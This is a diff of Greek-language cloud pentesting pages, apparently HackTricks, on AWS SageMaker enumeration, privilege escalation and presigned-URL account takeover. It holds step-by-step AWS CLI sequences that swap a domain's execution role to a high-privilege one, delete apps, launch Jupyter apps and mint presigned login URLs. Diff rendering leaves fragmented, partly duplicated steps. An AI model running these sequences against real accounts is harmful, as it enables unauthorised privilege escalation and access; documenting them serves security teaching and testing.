--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**Potential Impact**: Privilege escalation στα δικαιώματα του καθορισμένου SageMaker ρόλου εκτέλεσης για διαδραστικές συνεδρίες Studio.
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Με δικαιώματα για την ενημέρωση ενός SageMaker Studio Domain, τη δημιουργία ενός app, ενός presigned URL για το app, και το `iam:PassRole`, ένας attacker μπορεί να ορίσει το προεπιλεγμένο domain `ExecutionRole` σε οποιονδήποτε IAM role που μπορεί να αναλάβει το SageMaker service principal. Τα νέα Studio apps που θα εκκινηθούν για αυτό το profile θα τρέχουν με τον αλλαγμένο role, παρέχοντας interactive elevated permissions μέσω Jupyter terminals ή jobs που ξεκινούν από το Studio.
|
||||
|
||||
> [!WARNING]
|
||||
> Η επίθεση αυτή απαιτεί να μην υπάρχουν εφαρμογές στο domain ή αλλιώς η δημιουργία του app θα αποτύχει με το σφάλμα: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
Βήματα:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,22 +360,86 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
**Ενδεχόμενο Αντίκτυπο**: Privilege escalation στα δικαιώματα του καθορισμένου SageMaker execution role για interactive Studio sessions.
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Αναβάθμιση προνομίων στα δικαιώματα του καθορισμένου SageMaker execution role για διαδραστικές συνεδρίες Studio.
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
Ένας επιτιθέμενος με άδεια να δημιουργήσει ένα SageMaker Studio app για ένα στοχευόμενο UserProfile μπορεί να εκκινήσει ένα JupyterServer app που εκτελείται με το προφίλ `ExecutionRole`. Αυτό παρέχει διαδραστική πρόσβαση στα δικαιώματα του ρόλου μέσω τερματικών Jupyter ή εργασιών που εκκινούνται από το Studio.
|
||||
|
||||
Βήματα:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Διαδραστική πρόσβαση στην SageMaker execution role που είναι συνδεδεμένη με το στοχευόμενο UserProfile.
|
||||
|
||||
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να χορηγήσει σε έναν χρήστη πρόσβαση ως IAM user σε ένα Sagemaker Unified Studio Domain δημιουργώντας ένα DataZone User Profile για τον χρήστη.
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
Το URL του Unified Domain έχει την ακόλουθη μορφή: `https://<domain-id>.sagemaker.<region>.on.aws/` (π.χ. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Πιθανός αντίκτυπος:** Πρόσβαση στο Sagemaker Unified Studio Domain ως χρήστης, με δυνατότητα πρόσβασης σε όλους τους πόρους εντός του Sagemaker domain και ακόμη κλιμάκωσης προνομίων στο role που χρησιμοποιούν τα notebooks εντός του Sagemaker Unified Studio Domain.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@@ -4,29 +4,29 @@
|
||||
|
||||
## Επισκόπηση Υπηρεσίας
|
||||
|
||||
Amazon SageMaker είναι η managed πλατφόρμα machine-learning της AWS που συνδέει notebooks, training infrastructure, orchestration, registries και managed endpoints. Μια παραβίαση πόρων SageMaker συνήθως παρέχει:
|
||||
Το Amazon SageMaker είναι η διαχειριζόμενη πλατφόρμα μηχανικής μάθησης της AWS που συνδέει notebooks, υποδομές εκπαίδευσης, orchestration, registries και managed endpoints. Μια παραβίαση πόρων SageMaker συνήθως παρέχει:
|
||||
|
||||
- Long-lived IAM execution roles με ευρύ access σε S3, ECR, Secrets Manager ή KMS.
|
||||
- Πρόσβαση σε ευαίσθητα datasets αποθηκευμένα σε S3, EFS, ή μέσα σε feature stores.
|
||||
- Network footholds μέσα σε VPCs (Studio apps, training jobs, endpoints).
|
||||
- High-privilege presigned URLs που παρακάμπτουν το console authentication.
|
||||
- Μακροχρόνιες IAM execution roles με εκτεταμένη πρόσβαση σε S3, ECR, Secrets Manager ή KMS.
|
||||
- Πρόσβαση σε ευαίσθητα datasets αποθηκευμένα σε S3, EFS ή μέσα σε feature stores.
|
||||
- Δικτυακές εστίες μέσα σε VPCs (Studio apps, training jobs, endpoints).
|
||||
- Presigned URLs υψηλών προνομίων που παρακάμπτουν την αυθεντικοποίηση της κονσόλας.
|
||||
|
||||
Η κατανόηση του πώς συναρμολογείται το SageMaker είναι κλειδί πριν pivot, persist, ή exfiltrate data.
|
||||
Η κατανόηση του πώς συναρμολογείται το SageMaker είναι κρίσιμη πριν pivot, persist, ή exfiltrate δεδομένα.
|
||||
|
||||
## Βασικά Συστατικά
|
||||
## Κύρια Συστατικά
|
||||
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Κάθε domain έχει κοινό σύστημα αρχείων EFS και προεπιλεγμένο ρόλο εκτέλεσης.
|
||||
- **Notebook Instances**: Managed EC2 instances για standalone notebooks; χρησιμοποιούν ξεχωριστούς ρόλους εκτέλεσης.
|
||||
- **Training / Processing / Transform Jobs**: Ephemeral containers που τραβούν code από ECR και δεδομένα από S3.
|
||||
- **Pipelines & Experiments**: Orchestrated workflows που περιγράφουν όλα τα βήματα, inputs, και outputs.
|
||||
- **Models & Endpoints**: Πακεταρισμένα artefacts αναπτυγμένα για inference μέσω HTTPS endpoints.
|
||||
- **Feature Store & Data Wrangler**: Managed services για προετοιμασία δεδομένων και διαχείριση features.
|
||||
- **Autopilot & JumpStart**: Αυτοματοποιημένο ML και curated κατάλογος μοντέλων.
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Κάθε domain έχει κοινόχρηστο σύστημα αρχείων EFS και προεπιλεγμένο execution role.
|
||||
- **Notebook Instances**: Managed EC2 instances για standalone notebooks· χρησιμοποιούν ξεχωριστούς ρόλους εκτέλεσης.
|
||||
- **Training / Processing / Transform Jobs**: Εφήμερα containers που τραβούν code από ECR και δεδομένα από S3.
|
||||
- **Pipelines & Experiments**: Ορχηστρωμένες ροές εργασίας που περιγράφουν όλα τα βήματα, τις εισόδους και τις εξόδους.
|
||||
- **Models & Endpoints**: Συσκευασμένα artefacts αναπτυγμένα για inference μέσω HTTPS endpoints.
|
||||
- **Feature Store & Data Wrangler**: Managed υπηρεσίες για προετοιμασία δεδομένων και διαχείριση features.
|
||||
- **Autopilot & JumpStart**: Automated ML και curated κατάλογος μοντέλων.
|
||||
- **MLflow Tracking Servers**: Managed MLflow UI/API με presigned access tokens.
|
||||
|
||||
Κάθε resource αναφέρεται σε execution role, S3 locations, container images, και προαιρετική VPC/KMS configuration—capture όλα αυτά κατά τη διάρκεια της enumeration.
|
||||
Κάθε resource αναφέρεται σε execution role, S3 locations, container images και προαιρετική VPC/KMS διαμόρφωση — καταγράψτε όλα αυτά κατά τη διάρκεια της enumeration.
|
||||
|
||||
## Account & Global Metadata
|
||||
## Λογαριασμός & Παγκόσμια Μεταδεδομένα
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Portfolio status, used when provisioning Studio resources
|
||||
@@ -39,7 +39,7 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
|
||||
# Generic tag sweep across any SageMaker ARN you know
|
||||
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
Σημειώστε τυχόν cross-account trust (execution roles ή S3 buckets με external principals) και βασικούς περιορισμούς, όπως service control policies ή SCPs.
|
||||
Σημειώστε οποιαδήποτε cross-account trust (execution roles ή S3 buckets με external principals) και βασικούς περιορισμούς όπως service control policies ή SCPs.
|
||||
|
||||
## Studio Domains, Apps & Shared Spaces
|
||||
```bash
|
||||
@@ -63,11 +63,11 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
|
||||
Τι να καταγράψετε:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- Τοποθετημένο EFS (`HomeEfsFileSystemId`) και S3 home directories.
|
||||
- Lifecycle scripts (συχνά περιέχουν bootstrap credentials ή push/pull επιπλέον κώδικα).
|
||||
- Προσαρτημένο EFS (`HomeEfsFileSystemId`) και καταλόγους home στο S3.
|
||||
- Lifecycle scripts (συχνά περιέχουν bootstrap διαπιστευτήρια ή πρόσθετο push/pull κώδικα).
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs μπορούν να παρακάμψουν την επαλήθευση ταυτότητας αν χορηγηθούν ευρέως.
|
||||
> Presigned Studio URLs μπορούν να παρακάμψουν τον έλεγχο ταυτότητας εάν χορηγηθούν ευρέως.
|
||||
|
||||
## Notebook Instances & Lifecycle Configs
|
||||
```bash
|
||||
@@ -76,13 +76,13 @@ aws sagemaker describe-notebook-instance --notebook-instance-name <name> --regio
|
||||
aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
|
||||
aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
|
||||
```
|
||||
Τα metadata του notebook αποκαλύπτουν:
|
||||
Τα μεταδεδομένα του notebook αποκαλύπτουν:
|
||||
|
||||
- Ρόλος εκτέλεσης (`RoleArn`), άμεση πρόσβαση στο Internet έναντι VPC-only mode.
|
||||
- Ρόλος εκτέλεσης (`RoleArn`), άμεση πρόσβαση στο Internet έναντι λειτουργίας μόνο σε VPC.
|
||||
- Τοποθεσίες S3 σε `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
|
||||
- Σενάρια Lifecycle για credentials ή persistence hooks.
|
||||
- Lifecycle scripts για credentials ή persistence hooks.
|
||||
|
||||
## Training, Processing, Transform & Batch Jobs
|
||||
## Εκπαίδευση, Επεξεργασία, Transform & Batch Jobs
|
||||
```bash
|
||||
aws sagemaker list-training-jobs --region $REGION
|
||||
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
|
||||
@@ -93,14 +93,14 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
|
||||
aws sagemaker list-transform-jobs --region $REGION
|
||||
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
```
|
||||
Επιθεωρήστε:
|
||||
Εξετάστε:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – ποιες ECR images αναπτύσσονται.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes, και KMS keys.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – καθορίστε τη δικτυακή ή κρυπτογραφική διαμόρφωση.
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – ποια ECR images έχουν αναπτυχθεί.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes και KMS keys.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – καθορίζουν τη δικτυακή ή κρυπτογραφική διαμόρφωση.
|
||||
- `HyperParameters` may leak environment secrets or connection strings.
|
||||
|
||||
## Pipelines, Experiments & Trials
|
||||
## Pipelines, Πειράματα & Δοκιμές
|
||||
```bash
|
||||
aws sagemaker list-pipelines --region $REGION
|
||||
aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
|
||||
@@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
Οι ορισμοί pipeline αναλύουν κάθε βήμα, τους συνδεδεμένους ρόλους, τα container images και τις environment variables. Τα Trial components συχνά περιέχουν training artefact URIs, S3 logs και metrics που υποδηλώνουν τη ροή ευαίσθητων δεδομένων.
|
||||
Οι ορισμοί pipeline περιγράφουν κάθε βήμα, τους συναφείς ρόλους, τις container images και τις μεταβλητές περιβάλλοντος. Τα Trial components συχνά περιέχουν training artefact URIs, S3 logs και μετρικές που υποδηλώνουν τη ροή ευαίσθητων δεδομένων.
|
||||
|
||||
## Μοντέλα, Διαμορφώσεις Endpoint & Αναπτυγμένα Endpoints
|
||||
```bash
|
||||
@@ -123,10 +123,12 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
|
||||
aws sagemaker list-endpoints --region $REGION
|
||||
aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
- S3 URIs των artefact του μοντέλου (`PrimaryContainer.ModelDataUrl`) και των inference container images.
|
||||
- Ρυθμίσεις endpoint data capture (S3 bucket, KMS) για πιθανή log exfil.
|
||||
Focus areas:
|
||||
|
||||
- S3 URIs των artefact του μοντέλου (`PrimaryContainer.ModelDataUrl`) και inference container images.
|
||||
- Διαμόρφωση data capture του Endpoint (S3 bucket, KMS) για πιθανό log exfil.
|
||||
- Multi-model endpoints που χρησιμοποιούν `S3DataSource` ή `ModelPackage` (έλεγχος για cross-account packaging).
|
||||
- Network configs και ομάδες ασφαλείας που συνδέονται με τα endpoints.
|
||||
- Network configs και security groups που είναι επισυναπτόμενα στα endpoints.
|
||||
|
||||
## Feature Store, Data Wrangler & Clarify
|
||||
```bash
|
||||
@@ -139,11 +141,11 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
|
||||
aws sagemaker list-model-quality-job-definitions --region $REGION
|
||||
aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
```
|
||||
Σημεία ασφαλείας:
|
||||
Συμπεράσματα ασφάλειας:
|
||||
|
||||
- Τα online αποθετήρια χαρακτηριστικών αναπαράγουν δεδομένα στο Kinesis· ελέγξτε το `OnlineStoreConfig.SecurityConfig.KmsKeyId` και το VPC.
|
||||
- Οι ροές Data Wrangler συχνά ενσωματώνουν διαπιστευτήρια JDBC/Redshift ή ιδιωτικά endpoints.
|
||||
- Οι εργασίες Clarify/Model Monitor εξάγουν δεδομένα σε S3 που μπορεί να είναι world-readable ή cross-account accessible.
|
||||
- Online feature stores αναπαράγουν δεδομένα στο Kinesis· ελέγξτε το `OnlineStoreConfig.SecurityConfig.KmsKeyId` και το VPC.
|
||||
- Data Wrangler flows συχνά ενσωματώνουν JDBC/Redshift διαπιστευτήρια ή ιδιωτικά endpoints.
|
||||
- Clarify/Model Monitor jobs εξάγουν δεδομένα σε S3 που ενδέχεται να είναι αναγνώσιμα από όλους ή προσβάσιμα cross-account.
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -156,14 +158,14 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- Οι MLflow tracking servers αποθηκεύουν πειράματα και artefacts· οι presigned URLs μπορούν να αποκαλύψουν τα πάντα.
|
||||
- Τα Autopilot jobs εκκινούν πολλαπλά training jobs — εξετάστε τα outputs για κρυμμένα δεδομένα.
|
||||
- MLflow tracking servers αποθηκεύουν πειράματα και artefacts; presigned URLs μπορούν να εκθέσουν τα πάντα.
|
||||
- Οι Autopilot jobs εκκινούν πολλαπλά training jobs — απαριθμήστε τα outputs για κρυμμένα δεδομένα.
|
||||
- Οι JumpStart reference architectures ενδέχεται να αναπτύξουν privileged roles στον λογαριασμό.
|
||||
|
||||
## IAM & Θέματα Δικτύωσης
|
||||
## IAM & Networking Considerations
|
||||
|
||||
- Καταγράψτε τις IAM policies που είναι επισυναπτόμενες σε όλους τους execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Ελέγξτε τα network contexts: subnets, security groups, VPC endpoints. Πολλές οργανώσεις απομονώνουν training jobs αλλά ξεχνούν να περιορίσουν την εξερχόμενη κίνηση.
|
||||
- Απαριθμήστε τις IAM policies που είναι συνδεδεμένες με όλους τους ρόλους εκτέλεσης (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Ελέγξτε τα network contexts: subnets, security groups, VPC endpoints. Πολλοί οργανισμοί απομονώνουν training jobs αλλά ξεχνούν να περιορίσουν την εξερχόμενη κίνηση.
|
||||
- Ελέγξτε τις S3 bucket policies που αναφέρονται σε `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` για εξωτερική πρόσβαση.
|
||||
|
||||
## Privilege Escalation
|
||||
@@ -190,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
|
||||
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
|
||||
|
||||
+6
-101
@@ -1,108 +1,13 @@
|
||||
# AWS - SageMaker Μη Εξουσιοδοτημένη Πρόσβαση
|
||||
# AWS - SageMaker Μη εξουσιοδοτημένη πρόσβαση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Απαλλοτρίωση λογαριασμού μέσω CreatePresignedDomainUrl (Προσποίηση οποιουδήποτε UserProfile)
|
||||
## Presigned URLs for SageMaker
|
||||
|
||||
### Περιγραφή
|
||||
Μια ταυτότητα με δικαίωμα να καλεί `sagemaker:CreatePresignedDomainUrl` σε έναν στοχευμένο Studio `UserProfile` μπορεί να δημιουργήσει ένα URL σύνδεσης που αυθεντικοποιεί απευθείας στο SageMaker Studio ως αυτό το προφίλ. Αυτό παρέχει στο πρόγραμμα περιήγησης του επιτιθέμενου μια Studio συνεδρία που κληρονομεί τα δικαιώματα `ExecutionRole` του προφίλ και πλήρη πρόσβαση στο home του προφίλ που βασίζεται σε EFS και στις εφαρμογές του. Δεν απαιτείται `iam:PassRole` ή πρόσβαση στην κονσόλα.
|
||||
Εάν ένας επιτιθέμενος καταφέρει να αποκτήσει ένα presigned URL για έναν πόρο του SageMaker, μπορεί να έχει πρόσβαση σε αυτό χωρίς περαιτέρω έλεγχο ταυτότητας. Τα δικαιώματα και το επίπεδο πρόσβασης θα εξαρτώνται από τον ρόλο που σχετίζεται με τον πόρο:
|
||||
|
||||
### Απαιτήσεις
|
||||
- Ένα SageMaker Studio `Domain` και ένα στοχευμένο `UserProfile` μέσα σε αυτό.
|
||||
- Ο principal του επιτιθέμενου χρειάζεται `sagemaker:CreatePresignedDomainUrl` στο στοχευμένο `UserProfile` (σε επίπεδο πόρου) ή `*`.
|
||||
|
||||
Παράδειγμα ελάχιστης πολιτικής (περιορισμένο σε ένα UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Βήματα Κατάχρησης
|
||||
|
||||
1) Εντοπίστε ένα Studio Domain και UserProfiles που μπορείτε να στοχοποιήσετε
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Δημιουργήστε ένα presigned URL (έγκυρο για ~5 λεπτά από προεπιλογή)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Άνοιξε το επιστρεφόμενο URL σε έναν περιηγητή για να συνδεθείς στο Studio ως ο στοχευόμενος χρήστης. Σε ένα Jupyter τερματικό μέσα στο Studio επαλήθευσε την ενεργή ταυτότητα:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notes:
|
||||
- `--landing-uri` μπορεί να παραληφθεί. Ορισμένες τιμές (π.χ., `app:JupyterLab:/lab`) ενδέχεται να απορριφθούν ανάλογα με τη διανομή/έκδοση του Studio· οι προεπιλογές συνήθως ανακατευθύνουν στην αρχική σελίδα του Studio και στη συνέχεια στο Jupyter.
|
||||
- Οι πολιτικές του οργανισμού/περιορισμοί endpoint VPC μπορεί να μπλοκάρουν ακόμη την πρόσβαση στο δίκτυο· η δημιουργία του token δεν απαιτεί σύνδεση στην κονσόλα ή `iam:PassRole`.
|
||||
|
||||
### Επιπτώσεις
|
||||
- Lateral movement και privilege escalation με ανάληψη οποιουδήποτε Studio `UserProfile` του οποίου το ARN επιτρέπεται, κληρονομώντας το `ExecutionRole` του και το filesystem/apps.
|
||||
|
||||
### Αποδεικτικά στοιχεία (από ελεγχόμενη δοκιμή)
|
||||
- Με μόνο το `sagemaker:CreatePresignedDomainUrl` σε ένα στοχευμένο `UserProfile`, ο ρόλος του επιτιθέμενου επέστρεψε με επιτυχία ένα `AuthorizedUrl` όπως:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- Μια άμεση HTTP αίτηση απαντά με ανακατεύθυνση (HTTP 302) προς το Studio, επιβεβαιώνοντας ότι το URL είναι έγκυρο και ενεργό μέχρι τη λήξη του.
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO μέσω CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### Περιγραφή
|
||||
Μια ταυτότητα με άδεια να καλεί `sagemaker:CreatePresignedMlflowTrackingServerUrl` για έναν στοχευόμενο SageMaker MLflow Tracking Server μπορεί να δημιουργήσει ένα presigned URL μίας χρήσης που αυθεντικοποιείται απευθείας στο managed MLflow UI αυτού του server. Αυτό παρέχει την ίδια πρόσβαση που θα είχε ένας νόμιμος χρήστης στον server (προβολή/δημιουργία experiments και runs, και λήψη/ανέβασμα artifacts στο S3 artifact store του server) χωρίς πρόσβαση στο console ή `iam:PassRole`.
|
||||
|
||||
### Απαιτήσεις
|
||||
- Ένας SageMaker MLflow Tracking Server στον account/region και το όνομά του.
|
||||
- Ο attacker principal χρειάζεται `sagemaker:CreatePresignedMlflowTrackingServerUrl` στο target MLflow Tracking Server resource (ή `*`).
|
||||
|
||||
Minimal policy example (scoped to one Tracking Server):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Βήματα Κατάχρησης
|
||||
|
||||
1) Καταγράψτε τους MLflow Tracking Servers που μπορείτε να στοχεύσετε και επιλέξτε ένα όνομα
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Δημιουργήστε ένα presigned MLflow UI URL (ισχύει για μικρό χρονικό διάστημα)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Ανοίξτε το επιστρεφόμενο URL σε ένα πρόγραμμα περιήγησης για να αποκτήσετε πρόσβαση στο MLflow UI ως επαληθευμένος χρήστης για αυτόν τον Tracking Server.
|
||||
|
||||
Notes:
|
||||
- Ο Tracking Server πρέπει να βρίσκεται σε κατάσταση έτοιμη (π.χ., `Created/Active`). Αν εξακολουθεί να είναι `Creating`, η κλήση θα απορριφθεί.
|
||||
- Το presigned URL είναι μιας χρήσης και βραχύβιο· δημιουργήστε νέο όταν χρειάζεται.
|
||||
|
||||
### Επιπτώσεις
|
||||
- Άμεση πρόσβαση στο διαχειριζόμενο MLflow UI για τον στοχευμένο Tracking Server, επιτρέποντας την προβολή και τροποποίηση experiments/runs καθώς και την ανάκτηση ή μεταφόρτωση artifacts που αποθηκεύονται στο ρυθμισμένο S3 artifact store του server, εντός των δικαιωμάτων που επιβάλλει η διαμόρφωση του server.
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user